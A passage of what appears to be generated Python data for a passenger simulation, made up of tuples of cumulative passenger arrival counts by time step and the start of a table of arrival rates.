(978, 973, 866, 960, 685, 343, 389, 365, 423, 191, 135, 108, 0, 993, 924, 692, 536, 787, 478, 382, 251, 360, 308, 171, 98, 0), # 58
(994, 994, 880, 966, 703, 349, 401, 369, 427, 195, 136, 108, 0, 1003, 934, 702, 548, 803, 487, 388, 254, 372, 315, 176, 98, 0), # 59
(1008, 1014, 898, 982, 713, 358, 411, 373, 434, 199, 139, 110, 0, 1023, 946, 712, 555, 818, 497, 394, 260, 379, 322, 178, 99, 0), # 60
(1027, 1025, 912, 997, 727, 361, 418, 379, 441, 206, 139, 113, 0, 1035, 962, 727, 562, 831, 509, 396, 264, 385, 328, 178, 99, 0), # 61
(1063, 1041, 929, 1010, 744, 365, 427, 384, 452, 210, 139, 113, 0, 1046, 977, 741, 576, 850, 522, 409, 267, 394, 331, 181, 101, 0), # 62
(1080, 1059, 940, 1033, 762, 370, 433, 388, 460, 215, 139, 115, 0, 1076, 986, 756, 585, 855, 529, 419, 268, 399, 334, 184, 105, 0), # 63
(1098, 1074, 962, 1045, 778, 376, 439, 397, 465, 216, 142, 117, 0, 1089, 1005, 769, 598, 864, 538, 426, 269, 405, 342, 186, 105, 0), # 64
(1112, 1082, 982, 1058, 795, 378, 446, 407, 470, 221, 143, 118, 0, 1109, 1025, 787, 612, 875, 547, 434, 274, 411, 350, 186, 106, 0), # 65
(1135, 1101, 998, 1078, 812, 384, 449, 417, 481, 225, 148, 119, 0, 1127, 1037, 794, 617, 894, 554, 444, 279, 419, 355, 190, 106, 0), # 66
(1149, 1116, 1018, 1093, 827, 388, 453, 423, 484, 228, 153, 119, 0, 1143, 1059, 803, 624, 905, 561, 451, 283, 428, 359, 193, 107, 0), # 67
(1163, 1128, 1035, 1108, 841, 392, 461, 426, 492, 232, 154, 119, 0, 1160, 1078, 819, 632, 920, 569, 456, 287, 440, 367, 195, 108, 0), # 68
(1175, 1153, 1052, 1126, 856, 401, 471, 437, 505, 233, 158, 121, 0, 1179, 1090, 832, 648, 930, 578, 464, 291, 447, 371, 197, 109, 0), # 69
(1189, 1166, 1067, 1148, 866, 408, 474, 440, 510, 237, 161, 121, 0, 1203, 1115, 848, 658, 946, 583, 470, 294, 452, 380, 197, 110, 0), # 70
(1205, 1182, 1087, 1167, 883, 415, 480, 446, 516, 239, 163, 123, 0, 1211, 1130, 855, 667, 961, 588, 476, 298, 459, 385, 200, 112, 0), # 71
(1224, 1192, 1105, 1187, 902, 416, 488, 450, 523, 241, 163, 123, 0, 1233, 1145, 874, 681, 970, 595, 478, 301, 467, 389, 204, 112, 0), # 72
(1249, 1207, 1117, 1203, 913, 421, 498, 456, 534, 241, 166, 125, 0, 1255, 1156, 884, 687, 983, 600, 492, 308, 477, 398, 206, 113, 0), # 73
(1270, 1221, 1129, 1218, 926, 429, 506, 463, 543, 245, 166, 125, 0, 1277, 1173, 895, 696, 1001, 607, 502, 311, 483, 404, 211, 113, 0), # 74
(1293, 1247, 1142, 1238, 937, 443, 512, 467, 550, 250, 167, 127, 0, 1295, 1181, 905, 707, 1015, 614, 510, 315, 490, 411, 212, 115, 0), # 75
(1309, 1262, 1161, 1259, 954, 453, 519, 478, 552, 251, 169, 128, 0, 1307, 1194, 922, 723, 1027, 617, 515, 320, 501, 413, 216, 116, 0), # 76
(1322, 1283, 1180, 1275, 966, 459, 523, 482, 561, 254, 173, 128, 0, 1325, 1209, 941, 735, 1039, 622, 523, 323, 508, 416, 219, 117, 0), # 77
(1345, 1295, 1193, 1295, 982, 468, 530, 486, 570, 256, 176, 130, 0, 1339, 1231, 957, 746, 1050, 625, 530, 327, 514, 417, 221, 117, 0), # 78
(1364, 1309, 1205, 1312, 1004, 477, 538, 492, 577, 260, 178, 134, 0, 1365, 1249, 971, 753, 1063, 635, 533, 335, 523, 425, 222, 118, 0), # 79
(1386, 1320, 1225, 1325, 1020, 483, 542, 495, 582, 266, 179, 135, 0, 1394, 1262, 981, 763, 1077, 639, 537, 339, 528, 429, 224, 118, 0), # 80
(1403, 1337, 1235, 1343, 1031, 489, 552, 500, 584, 268, 180, 135, 0, 1411, 1277, 998, 772, 1097, 647, 540, 344, 537, 434, 232, 119, 0), # 81
(1417, 1348, 1247, 1364, 1042, 495, 563, 505, 590, 270, 182, 141, 0, 1427, 1293, 1007, 789, 1113, 653, 551, 347, 542, 436, 235, 120, 0), # 82
(1431, 1360, 1262, 1386, 1056, 498, 569, 509, 593, 273, 184, 143, 0, 1449, 1305, 1021, 798, 1127, 659, 555, 351, 548, 441, 238, 121, 0), # 83
(1449, 1374, 1279, 1403, 1066, 505, 574, 518, 602, 274, 184, 147, 0, 1470, 1319, 1033, 806, 1144, 667, 564, 356, 552, 448, 240, 124, 0), # 84
(1463, 1385, 1291, 1424, 1085, 509, 575, 525, 607, 275, 188, 147, 0, 1488, 1332, 1044, 809, 1162, 675, 574, 363, 563, 453, 242, 125, 0), # 85
(1479, 1395, 1308, 1439, 1098, 510, 579, 527, 619, 279, 190, 151, 0, 1501, 1342, 1057, 817, 1186, 683, 579, 367, 570, 455, 248, 126, 0), # 86
(1496, 1413, 1323, 1447, 1111, 518, 596, 530, 625, 281, 190, 153, 0, 1524, 1356, 1068, 826, 1194, 694, 588, 375, 579, 458, 252, 127, 0), # 87
(1514, 1427, 1336, 1462, 1122, 527, 602, 534, 633, 285, 194, 155, 0, 1542, 1368, 1074, 838, 1212, 703, 593, 379, 588, 463, 256, 128, 0), # 88
(1534, 1445, 1349, 1476, 1135, 533, 609, 536, 635, 287, 196, 155, 0, 1556, 1378, 1081, 847, 1226, 706, 597, 385, 594, 466, 260, 128, 0), # 89
(1555, 1461, 1365, 1491, 1141, 539, 614, 540, 643, 292, 198, 157, 0, 1580, 1392, 1088, 857, 1239, 709, 605, 389, 600, 475, 263, 130, 0), # 90
(1581, 1475, 1374, 1505, 1147, 543, 624, 548, 647, 294, 198, 157, 0, 1594, 1407, 1099, 863, 1255, 715, 608, 392, 607, 480, 263, 131, 0), # 91
(1594, 1490, 1386, 1525, 1160, 548, 627, 555, 651, 299, 199, 157, 0, 1612, 1424, 1111, 870, 1263, 728, 613, 397, 612, 485, 263, 133, 0), # 92
(1619, 1500, 1400, 1540, 1177, 554, 629, 561, 660, 300, 204, 159, 0, 1626, 1435, 1120, 878, 1284, 733, 622, 402, 621, 491, 266, 136, 0), # 93
(1638, 1515, 1415, 1559, 1191, 558, 637, 567, 665, 303, 205, 160, 0, 1645, 1452, 1133, 886, 1299, 740, 629, 411, 624, 494, 267, 136, 0), # 94
(1655, 1526, 1423, 1580, 1206, 562, 646, 569, 675, 304, 206, 162, 0, 1657, 1468, 1138, 893, 1313, 747, 636, 415, 630, 499, 268, 138, 0), # 95
(1675, 1535, 1432, 1593, 1217, 569, 652, 574, 680, 305, 210, 163, 0, 1678, 1481, 1153, 898, 1326, 754, 640, 423, 633, 504, 271, 139, 0), # 96
(1695, 1551, 1447, 1606, 1234, 575, 658, 581, 686, 311, 214, 164, 0, 1701, 1492, 1164, 908, 1342, 761, 643, 428, 641, 510, 274, 141, 0), # 97
(1705, 1565, 1453, 1619, 1247, 584, 667, 584, 694, 314, 217, 166, 0, 1723, 1501, 1173, 919, 1352, 773, 645, 433, 648, 512, 277, 141, 0), # 98
(1723, 1580, 1467, 1634, 1256, 587, 674, 591, 702, 318, 222, 168, 0, 1741, 1514, 1184, 932, 1362, 781, 651, 436, 653, 515, 281, 143, 0), # 99
(1747, 1594, 1481, 1658, 1263, 594, 680, 594, 708, 320, 226, 170, 0, 1762, 1528, 1204, 942, 1379, 785, 653, 441, 665, 520, 283, 144, 0), # 100
(1769, 1605, 1498, 1668, 1275, 598, 684, 597, 716, 324, 228, 170, 0, 1776, 1541, 1216, 951, 1394, 795, 659, 444, 672, 529, 285, 144, 0), # 101
(1786, 1623, 1508, 1682, 1290, 603, 690, 601, 725, 324, 230, 171, 0, 1792, 1554, 1224, 956, 1405, 806, 662, 449, 679, 531, 289, 146, 0), # 102
(1805, 1634, 1527, 1694, 1302, 610, 697, 606, 731, 327, 233, 172, 0, 1808, 1565, 1241, 963, 1416, 816, 668, 453, 686, 537, 292, 147, 0), # 103
(1817, 1651, 1540, 1717, 1315, 616, 703, 610, 737, 337, 234, 173, 0, 1829, 1579, 1257, 972, 1433, 824, 675, 461, 691, 541, 293, 148, 0), # 104
(1835, 1663, 1558, 1737, 1331, 623, 707, 617, 747, 339, 235, 173, 0, 1852, 1592, 1269, 984, 1447, 831, 680, 467, 699, 544, 295, 149, 0), # 105
(1847, 1675, 1572, 1753, 1349, 629, 712, 622, 753, 343, 237, 174, 0, 1877, 1611, 1281, 989, 1458, 837, 684, 470, 711, 549, 298, 152, 0), # 106
(1862, 1683, 1592, 1766, 1361, 640, 722, 623, 759, 344, 239, 174, 0, 1888, 1629, 1296, 1001, 1470, 845, 689, 474, 718, 552, 301, 152, 0), # 107
(1879, 1701, 1608, 1779, 1367, 647, 732, 627, 768, 346, 245, 175, 0, 1899, 1645, 1306, 1006, 1485, 851, 697, 481, 723, 558, 303, 153, 0), # 108
(1897, 1715, 1620, 1793, 1376, 650, 736, 632, 773, 349, 249, 178, 0, 1916, 1658, 1314, 1015, 1500, 855, 701, 488, 729, 562, 305, 154, 0), # 109
(1908, 1727, 1632, 1811, 1394, 658, 743, 632, 778, 353, 249, 180, 0, 1932, 1671, 1328, 1023, 1515, 860, 706, 492, 736, 565, 305, 154, 0), # 110
(1928, 1736, 1652, 1826, 1409, 664, 751, 638, 785, 354, 253, 182, 0, 1952, 1685, 1335, 1026, 1527, 866, 710, 494, 738, 568, 306, 154, 0), # 111
(1946, 1743, 1670, 1839, 1427, 671, 759, 639, 791, 356, 253, 184, 0, 1971, 1698, 1345, 1030, 1540, 873, 714, 500, 742, 573, 312, 155, 0), # 112
(1966, 1759, 1687, 1858, 1439, 678, 764, 645, 802, 357, 256, 184, 0, 1989, 1708, 1353, 1033, 1554, 877, 719, 504, 744, 579, 317, 155, 0), # 113
(1989, 1770, 1702, 1875, 1445, 686, 767, 651, 808, 358, 256, 185, 0, 2013, 1716, 1362, 1039, 1568, 881, 726, 510, 747, 584, 318, 155, 0), # 114
(2005, 1786, 1718, 1893, 1456, 690, 771, 654, 814, 363, 258, 185, 0, 2027, 1727, 1369, 1042, 1586, 886, 730, 514, 759, 587, 323, 155, 0), # 115
(2019, 1801, 1728, 1911, 1466, 693, 777, 657, 820, 365, 261, 186, 0, 2046, 1742, 1378, 1053, 1595, 892, 734, 518, 765, 594, 325, 155, 0), # 116
(2037, 1815, 1743, 1930, 1475, 696, 781, 660, 827, 368, 263, 187, 0, 2070, 1757, 1386, 1056, 1617, 898, 736, 524, 773, 597, 328, 156, 0), # 117
(2045, 1826, 1751, 1939, 1491, 703, 787, 667, 831, 369, 266, 188, 0, 2088, 1765, 1394, 1063, 1630, 901, 741, 527, 777, 601, 330, 157, 0), # 118
(2059, 1834, 1761, 1950, 1501, 710, 796, 673, 838, 374, 268, 188, 0, 2110, 1777, 1404, 1071, 1641, 907, 743, 530, 787, 606, 336, 158, 0), # 119
(2072, 1843, 1775, 1965, 1512, 722, 806, 677, 845, 378, 271, 189, 0, 2126, 1793, 1416, 1078, 1658, 916, 747, 532, 791, 610, 338, 159, 0), # 120
(2086, 1860, 1783, 1984, 1525, 723, 809, 679, 851, 380, 275, 189, 0, 2143, 1810, 1428, 1082, 1672, 922, 753, 533, 800, 613, 338, 162, 0), # 121
(2105, 1874, 1799, 2000, 1536, 731, 815, 683, 856, 381, 275, 189, 0, 2162, 1824, 1441, 1087, 1685, 927, 755, 537, 802, 617, 345, 163, 0), # 122
(2116, 1887, 1820, 2017, 1550, 734, 819, 688, 863, 383, 275, 192, 0, 2174, 1841, 1457, 1096, 1700, 937, 762, 539, 812, 623, 347, 163, 0), # 123
(2131, 1903, 1828, 2036, 1557, 738, 819, 696, 869, 385, 277, 195, 0, 2194, 1852, 1466, 1102, 1714, 941, 766, 544, 815, 629, 350, 164, 0), # 124
(2148, 1915, 1843, 2057, 1566, 749, 824, 700, 874, 387, 280, 196, 0, 2218, 1866, 1476, 1111, 1728, 944, 772, 549, 824, 634, 352, 165, 0), # 125
(2168, 1924, 1862, 2070, 1584, 752, 827, 706, 879, 388, 280, 199, 0, 2229, 1877, 1485, 1114, 1736, 952, 777, 552, 831, 640, 355, 165, 0), # 126
(2189, 1936, 1869, 2088, 1592, 759, 830, 710, 885, 388, 282, 200, 0, 2239, 1885, 1497, 1123, 1742, 959, 781, 557, 842, 646, 358, 166, 0), # 127
(2207, 1957, 1880, 2101, 1607, 759, 839, 715, 893, 391, 282, 204, 0, 2260, 1898, 1502, 1130, 1752, 963, 788, 559, 844, 650, 362, 166, 0), # 128
(2227, 1969, 1891, 2118, 1616, 762, 847, 720, 897, 395, 284, 204, 0, 2278, 1910, 1508, 1138, 1772, 970, 793, 564, 852, 655, 364, 169, 0), # 129
(2238, 1976, 1902, 2134, 1634, 770, 855, 725, 901, 399, 285, 206, 0, 2294, 1919, 1515, 1146, 1785, 975, 796, 569, 864, 658, 370, 170, 0), # 130
(2251, 1987, 1908, 2142, 1644, 772, 861, 729, 909, 401, 285, 209, 0, 2308, 1925, 1529, 1157, 1794, 982, 803, 574, 869, 660, 377, 171, 0), # 131
(2261, 2000, 1917, 2153, 1656, 779, 870, 734, 918, 405, 286, 210, 0, 2333, 1938, 1540, 1168, 1807, 985, 807, 577, 876, 663, 378, 171, 0), # 132
(2271, 2013, 1926, 2166, 1664, 781, 873, 737, 922, 409, 290, 213, 0, 2360, 1951, 1551, 1179, 1821, 991, 812, 580, 887, 665, 380, 171, 0), # 133
(2293, 2021, 1943, 2180, 1677, 784, 882, 742, 931, 416, 294, 215, 0, 2387, 1964, 1562, 1188, 1837, 996, 820, 581, 893, 666, 385, 173, 0), # 134
(2309, 2031, 1954, 2191, 1692, 788, 886, 746, 935, 420, 295, 215, 0, 2401, 1979, 1573, 1192, 1853, 1007, 823, 586, 901, 670, 390, 177, 0), # 135
(2331, 2047, 1968, 2201, 1705, 795, 889, 748, 939, 420, 296, 216, 0, 2413, 1994, 1582, 1201, 1865, 1016, 828, 589, 913, 675, 390, 177, 0), # 136
(2348, 2060, 1978, 2216, 1719, 800, 892, 753, 948, 420, 298, 217, 0, 2425, 2010, 1589, 1210, 1878, 1019, 832, 593, 919, 678, 390, 177, 0), # 137
(2369, 2077, 1991, 2234, 1733, 805, 898, 759, 954, 422, 301, 218, 0, 2438, 2024, 1599, 1218, 1887, 1022, 836, 595, 922, 685, 394, 178, 0), # 138
(2382, 2086, 2008, 2249, 1748, 807, 905, 761, 960, 425, 302, 218, 0, 2451, 2035, 1608, 1226, 1894, 1027, 840, 597, 930, 688, 399, 180, 0), # 139
(2400, 2092, 2019, 2263, 1755, 812, 913, 764, 967, 428, 306, 219, 0, 2464, 2048, 1617, 1234, 1903, 1036, 842, 600, 931, 692, 401, 181, 0), # 140
(2416, 2101, 2028, 2280, 1763, 816, 920, 770, 972, 432, 308, 219, 0, 2475, 2060, 1622, 1242, 1914, 1042, 845, 605, 938, 694, 404, 181, 0), # 141
(2432, 2112, 2033, 2294, 1778, 822, 925, 775, 979, 435, 311, 221, 0, 2490, 2080, 1630, 1247, 1924, 1049, 852, 606, 943, 703, 408, 181, 0), # 142
(2448, 2124, 2053, 2311, 1789, 830, 933, 780, 986, 441, 313, 221, 0, 2513, 2093, 1642, 1252, 1935, 1057, 856, 610, 950, 709, 412, 181, 0), # 143
(2466, 2135, 2068, 2322, 1801, 834, 938, 783, 997, 446, 316, 222, 0, 2531, 2102, 1651, 1260, 1943, 1065, 859, 615, 953, 713, 415, 181, 0), # 144
(2483, 2147, 2084, 2333, 1810, 840, 944, 788, 1002, 449, 317, 224, 0, 2549, 2116, 1663, 1266, 1957, 1073, 866, 620, 963, 719, 424, 181, 0), # 145
(2504, 2155, 2097, 2345, 1826, 847, 948, 789, 1009, 450, 317, 225, 0, 2568, 2125, 1671, 1273, 1972, 1086, 873, 624, 965, 722, 425, 183, 0), # 146
(2519, 2163, 2112, 2355, 1841, 849, 953, 792, 1018, 455, 319, 227, 0, 2579, 2135, 1680, 1278, 1979, 1096, 877, 626, 971, 725, 426, 184, 0), # 147
(2536, 2174, 2121, 2367, 1855, 855, 957, 795, 1028, 456, 319, 227, 0, 2595, 2141, 1688, 1287, 1989, 1103, 882, 628, 974, 727, 428, 184, 0), # 148
(2554, 2181, 2137, 2380, 1865, 864, 959, 800, 1037, 459, 319, 228, 0, 2604, 2159, 1699, 1294, 2002, 1108, 887, 630, 986, 734, 431, 186, 0), # 149
(2567, 2195, 2147, 2390, 1874, 872, 960, 803, 1040, 460, 320, 229, 0, 2618, 2171, 1706, 1302, 2014, 1115, 889, 635, 991, 740, 435, 187, 0), # 150
(2584, 2202, 2166, 2406, 1884, 878, 964, 806, 1043, 463, 322, 230, 0, 2632, 2178, 1713, 1311, 2022, 1119, 890, 637, 1000, 744, 437, 187, 0), # 151
(2596, 2213, 2180, 2416, 1896, 883, 971, 810, 1052, 466, 324, 231, 0, 2647, 2184, 1721, 1318, 2033, 1124, 894, 641, 1004, 746, 441, 187, 0), # 152
(2613, 2221, 2197, 2436, 1911, 885, 975, 812, 1058, 468, 325, 231, 0, 2666, 2194, 1727, 1327, 2048, 1127, 897, 647, 1013, 752, 444, 188, 0), # 153
(2632, 2237, 2211, 2453, 1923, 892, 981, 817, 1062, 469, 327, 231, 0, 2678, 2212, 1738, 1334, 2064, 1132, 897, 651, 1017, 755, 449, 189, 0), # 154
(2638, 2254, 2229, 2462, 1928, 900, 983, 819, 1066, 471, 327, 233, 0, 2696, 2220, 1743, 1337, 2079, 1136, 901, 657, 1024, 757, 453, 189, 0), # 155
(2648, 2264, 2241, 2473, 1934, 905, 985, 824, 1072, 471, 330, 234, 0, 2709, 2235, 1750, 1343, 2094, 1143, 904, 663, 1032, 761, 455, 191, 0), # 156
(2663, 2272, 2248, 2483, 1950, 913, 987, 829, 1077, 473, 331, 234, 0, 2728, 2246, 1758, 1347, 2105, 1151, 906, 665, 1035, 764, 459, 191, 0), # 157
(2672, 2279, 2255, 2494, 1961, 920, 993, 830, 1082, 474, 331, 235, 0, 2745, 2260, 1765, 1351, 2113, 1154, 908, 670, 1044, 768, 460, 191, 0), # 158
(2682, 2287, 2267, 2506, 1972, 928, 999, 835, 1089, 475, 331, 236, 0, 2757, 2270, 1769, 1357, 2124, 1158, 909, 670, 1046, 768, 462, 192, 0), # 159
(2696, 2293, 2277, 2514, 1976, 932, 1002, 841, 1092, 475, 332, 236, 0, 2779, 2280, 1772, 1363, 2133, 1161, 912, 675, 1054, 773, 463, 192, 0), # 160
(2701, 2306, 2288, 2525, 1984, 935, 1010, 843, 1099, 478, 333, 237, 0, 2794, 2291, 1779, 1374, 2143, 1166, 919, 677, 1061, 779, 464, 194, 0), # 161
(2713, 2315, 2303, 2532, 1999, 944, 1014, 849, 1104, 479, 334, 238, 0, 2815, 2298, 1788, 1380, 2155, 1170, 929, 680, 1072, 781, 468, 195, 0), # 162
(2728, 2322, 2315, 2544, 2006, 952, 1021, 851, 1107, 479, 336, 241, 0, 2825, 2307, 1799, 1384, 2162, 1174, 934, 685, 1073, 785, 471, 197, 0), # 163
(2740, 2325, 2331, 2553, 2017, 956, 1023, 854, 1112, 479, 336, 244, 0, 2836, 2314, 1806, 1392, 2168, 1177, 936, 688, 1077, 787, 476, 197, 0), # 164
(2751, 2337, 2338, 2565, 2031, 960, 1028, 857, 1119, 482, 337, 245, 0, 2843, 2325, 1814, 1395, 2178, 1183, 938, 690, 1085, 792, 477, 200, 0), # 165
(2764, 2347, 2350, 2577, 2045, 964, 1032, 861, 1128, 482, 339, 246, 0, 2857, 2342, 1829, 1398, 2182, 1186, 947, 693, 1091, 796, 479, 201, 0), # 166
(2786, 2353, 2355, 2583, 2057, 968, 1034, 866, 1136, 483, 339, 246, 0, 2860, 2350, 1836, 1401, 2192, 1190, 949, 697, 1096, 798, 480, 201, 0), # 167
(2797, 2362, 2368, 2593, 2067, 973, 1039, 869, 1142, 486, 340, 246, 0, 2871, 2366, 1845, 1405, 2199, 1199, 952, 698, 1103, 802, 483, 203, 0), # 168
(2798, 2373, 2383, 2606, 2079, 977, 1044, 873, 1148, 486, 340, 246, 0, 2885, 2372, 1850, 1411, 2214, 1202, 956, 707, 1111, 806, 484, 203, 0), # 169
(2810, 2380, 2392, 2615, 2089, 987, 1047, 874, 1154, 489, 340, 247, 0, 2890, 2380, 1852, 1416, 2220, 1208, 959, 710, 1114, 809, 488, 203, 0), # 170
(2819, 2389, 2401, 2622, 2106, 989, 1051, 879, 1158, 489, 340, 247, 0, 2904, 2386, 1855, 1421, 2229, 1214, 963, 711, 1117, 810, 491, 206, 0), # 171
(2828, 2397, 2411, 2634, 2111, 991, 1055, 883, 1163, 490, 342, 247, 0, 2913, 2393, 1856, 1425, 2241, 1221, 965, 713, 1119, 814, 493, 206, 0), # 172
(2841, 2404, 2420, 2650, 2117, 996, 1055, 884, 1166, 491, 342, 247, 0, 2923, 2400, 1859, 1432, 2249, 1227, 967, 715, 1120, 817, 495, 206, 0), # 173
(2847, 2406, 2434, 2655, 2126, 998, 1056, 886, 1169, 492, 343, 250, 0, 2939, 2409, 1864, 1440, 2255, 1234, 968, 716, 1121, 822, 495, 207, 0), # 174
(2854, 2412, 2444, 2662, 2132, 1000, 1061, 889, 1172, 493, 343, 251, 0, 2946, 2417, 1869, 1443, 2260, 1237, 970, 717, 1126, 823, 495, 207, 0), # 175
(2860, 2416, 2451, 2666, 2138, 1004, 1063, 891, 1173, 495, 343, 252, 0, 2950, 2426, 1874, 1447, 2272, 1239, 977, 720, 1130, 825, 497, 207, 0), # 176
(2866, 2421, 2457, 2673, 2139, 1004, 1066, 895, 1176, 496, 344, 253, 0, 2959, 2431, 1878, 1454, 2275, 1241, 979, 721, 1132, 826, 499, 210, 0), # 177
(2872, 2428, 2463, 2677, 2143, 1007, 1067, 899, 1180, 500, 344, 254, 0, 2969, 2435, 1881, 1459, 2282, 1243, 981, 722, 1136, 831, 499, 211, 0), # 178
(2872, 2428, 2463, 2677, 2143, 1007, 1067, 899, 1180, 500, 344, 254, 0, 2969, 2435, 1881, 1459, 2282, 1243, 981, 722, 1136, 831, 499, 211, 0), # 179
)
passenger_arriving_rate = (
(9.037558041069182, 9.116726123493724, 7.81692484441876, 8.389801494715634, 6.665622729131535, 3.295587678639206, 3.7314320538365235, 3.4898821297345672, 3.654059437300804, 1.781106756985067, 1.261579549165681, 0.7346872617459261, 0.0, 9.150984382641052, 8.081559879205185, 6.307897745828405, 5.3433202709552, 7.308118874601608, 4.885834981628395, 3.7314320538365235, 2.3539911990280045, 3.3328113645657673, 2.7966004982385453, 1.5633849688837522, 0.828793283953975, 0.0), # 0
(9.637788873635953, 9.718600145338852, 8.333019886995228, 8.943944741923431, 7.106988404969084, 3.5132827632446837, 3.9775220471373247, 3.7196352921792815, 3.8953471957997454, 1.8985413115247178, 1.3449288407868398, 0.7831824991221532, 0.0, 9.755624965391739, 8.615007490343684, 6.724644203934198, 5.695623934574153, 7.790694391599491, 5.207489409050994, 3.9775220471373247, 2.509487688031917, 3.553494202484542, 2.9813149139744777, 1.6666039773990458, 0.883509104121714, 0.0), # 1
(10.236101416163518, 10.318085531970116, 8.847063428321121, 9.495883401297473, 7.546755568499692, 3.7301093702380674, 4.222636657164634, 3.948468935928315, 4.135672084126529, 2.015511198759246, 1.4279469446328943, 0.8314848978079584, 0.0, 10.357856690777442, 9.14633387588754, 7.13973472316447, 6.046533596277737, 8.271344168253059, 5.527856510299641, 4.222636657164634, 2.6643638358843336, 3.773377784249846, 3.1652944670991583, 1.7694126856642243, 0.938007775633647, 0.0), # 2
(10.830164027663812, 10.912803828195138, 9.357016303979782, 10.0434281501683, 7.983194011202283, 3.9452076537143688, 4.46580327748316, 4.175475868120881, 4.374081096552656, 2.1315522142917818, 1.5103045235482149, 0.8794028527395692, 0.0, 10.955291051257605, 9.67343138013526, 7.551522617741075, 6.3946566428753435, 8.748162193105312, 5.845666215369232, 4.46580327748316, 2.818005466938835, 3.9915970056011414, 3.3478093833894342, 1.8714032607959565, 0.9920730752904672, 0.0), # 3
(11.417645067148767, 11.500376578821527, 9.860839349554556, 10.584389665866468, 8.41457352455579, 4.1577177677686015, 4.706049301657613, 4.399748895896186, 4.609621227349624, 2.246200153725456, 1.5916722403771728, 0.9267447588532147, 0.0, 11.54553953929167, 10.19419234738536, 7.958361201885864, 6.738600461176366, 9.219242454699248, 6.159648454254661, 4.706049301657613, 2.969798405549001, 4.207286762277895, 3.528129888622157, 1.9721678699109113, 1.0454887798928663, 0.0), # 4
(11.996212893630318, 12.07842532865692, 10.356493400628777, 11.11657862572253, 8.839163900039136, 4.366779866495776, 4.942402123252702, 4.620380826393444, 4.841339470788935, 2.3589908126633987, 1.67172075796414, 0.9733190110851223, 0.0, 12.126213647339089, 10.706509121936344, 8.358603789820698, 7.076972437990195, 9.68267894157787, 6.468533156950822, 4.942402123252702, 3.119128476068411, 4.419581950019568, 3.705526208574178, 2.071298680125756, 1.0980386662415385, 0.0), # 5
(12.5635358661204, 12.644571622508925, 10.8419392927858, 11.63780570706703, 9.255234929131252, 4.571534103990907, 5.173889135833137, 4.836464466751867, 5.068282821142089, 2.469459986708742, 1.750120739153485, 1.0189340043715214, 0.0, 12.694924867859292, 11.208274048086732, 8.750603695767424, 7.408379960126224, 10.136565642284179, 6.771050253452613, 5.173889135833137, 3.265381502850648, 4.627617464565626, 3.8792685690223445, 2.16838785855716, 1.1495065111371752, 0.0), # 6
(13.117282343630944, 13.196437005185167, 11.315137861608953, 12.145881587230525, 9.661056403311065, 4.771120634349007, 5.399537732963626, 5.047092624110664, 5.289498272680586, 2.5771434714646144, 1.8265428467895808, 1.0633981336486396, 0.0, 13.249284693311735, 11.697379470135033, 9.132714233947903, 7.7314304143938415, 10.578996545361171, 7.06592967375493, 5.399537732963626, 3.4079433102492906, 4.830528201655532, 4.048627195743509, 2.2630275723217905, 1.1996760913804698, 0.0), # 7
(13.655120685173882, 13.731643021493262, 11.774049942681595, 12.638616943543553, 10.054898114057503, 4.964679611665085, 5.618375308208878, 5.251358105609044, 5.504032819675924, 2.681577062534149, 1.9006577437167966, 1.1065197938527056, 0.0, 13.786904616155851, 12.171717732379758, 9.503288718583983, 8.044731187602444, 11.008065639351848, 7.351901347852662, 5.618375308208878, 3.5461997226179176, 5.027449057028751, 4.212872314514518, 2.3548099885363194, 1.248331183772115, 0.0), # 8
(14.174719249761154, 14.247811216240837, 12.216636371587056, 13.11382245333668, 10.43502985284949, 5.151351190034158, 5.829429255133608, 5.4483537183862225, 5.710933456399605, 2.782296555520474, 1.9721360927795035, 1.1481073799199473, 0.0, 14.305396128851092, 12.629181179119417, 9.860680463897518, 8.34688966656142, 11.42186691279921, 7.627695205740712, 5.829429255133608, 3.679536564310113, 5.217514926424745, 4.371274151112227, 2.4433272743174115, 1.2952555651128035, 0.0), # 9
(14.673746396404677, 14.7425631342355, 12.640857983908687, 13.569308793940438, 10.799721411165962, 5.330275523551238, 6.031726967302519, 5.637172269581408, 5.909247177123128, 2.878837746026722, 2.0406485568220725, 1.187969286786593, 0.0, 14.802370723856898, 13.06766215465252, 10.20324278411036, 8.636513238080164, 11.818494354246257, 7.892041177413972, 6.031726967302519, 3.8073396596794558, 5.399860705582981, 4.52310293131348, 2.5281715967817378, 1.3402330122032275, 0.0), # 10
(15.149870484116411, 15.213520320284891, 13.044675615229824, 14.002886642685386, 11.14724258048584, 5.500592766311337, 6.224295838280325, 5.816906566333811, 6.098020976117995, 2.970736429656024, 2.105865798688875, 1.2259139093888718, 0.0, 15.2754398936327, 13.485053003277587, 10.529328993444373, 8.912209288968072, 12.19604195223599, 8.143669192867335, 6.224295838280325, 3.9289948330795266, 5.57362129024292, 4.66762888089513, 2.6089351230459648, 1.3830473018440812, 0.0), # 11
(15.600759871908263, 15.6583043191966, 13.42605010113381, 14.412366676902078, 11.475863152288053, 5.6614430724094635, 6.406163261631731, 5.986649415782641, 6.276301847655707, 3.0575284020115086, 2.1674584812242808, 1.2617496426630104, 0.0, 15.722215130637963, 13.879246069293112, 10.837292406121403, 9.172585206034523, 12.552603695311413, 8.381309182095698, 6.406163261631731, 4.043887908863902, 5.737931576144026, 4.804122225634027, 2.6852100202267626, 1.4234822108360548, 0.0), # 12
(16.02408291879218, 16.074536675778273, 13.782942277203993, 14.795559573921057, 11.783852918051522, 5.8119665959406355, 6.576356630921451, 6.145493625067111, 6.443136786007759, 3.138749458696308, 2.225097267272661, 1.2952848815452382, 0.0, 16.140307927332124, 14.248133696997618, 11.125486336363304, 9.416248376088921, 12.886273572015519, 8.603691075093955, 6.576356630921451, 4.151404711386168, 5.891926459025761, 4.93185319130702, 2.756588455440799, 1.4613215159798432, 0.0), # 13
(16.41750798378009, 16.45983893483752, 14.113312979023721, 15.150276011072872, 12.069481669255186, 5.9513034909998614, 6.733903339714195, 6.292532001326435, 6.597572785445653, 3.2139353953135514, 2.2784528196783858, 1.3263280209717843, 0.0, 16.527329776174614, 14.589608230689624, 11.392264098391927, 9.641806185940652, 13.195145570891306, 8.80954480185701, 6.733903339714195, 4.250931064999901, 6.034740834627593, 5.050092003690958, 2.8226625958047444, 1.4963489940761385, 0.0), # 14
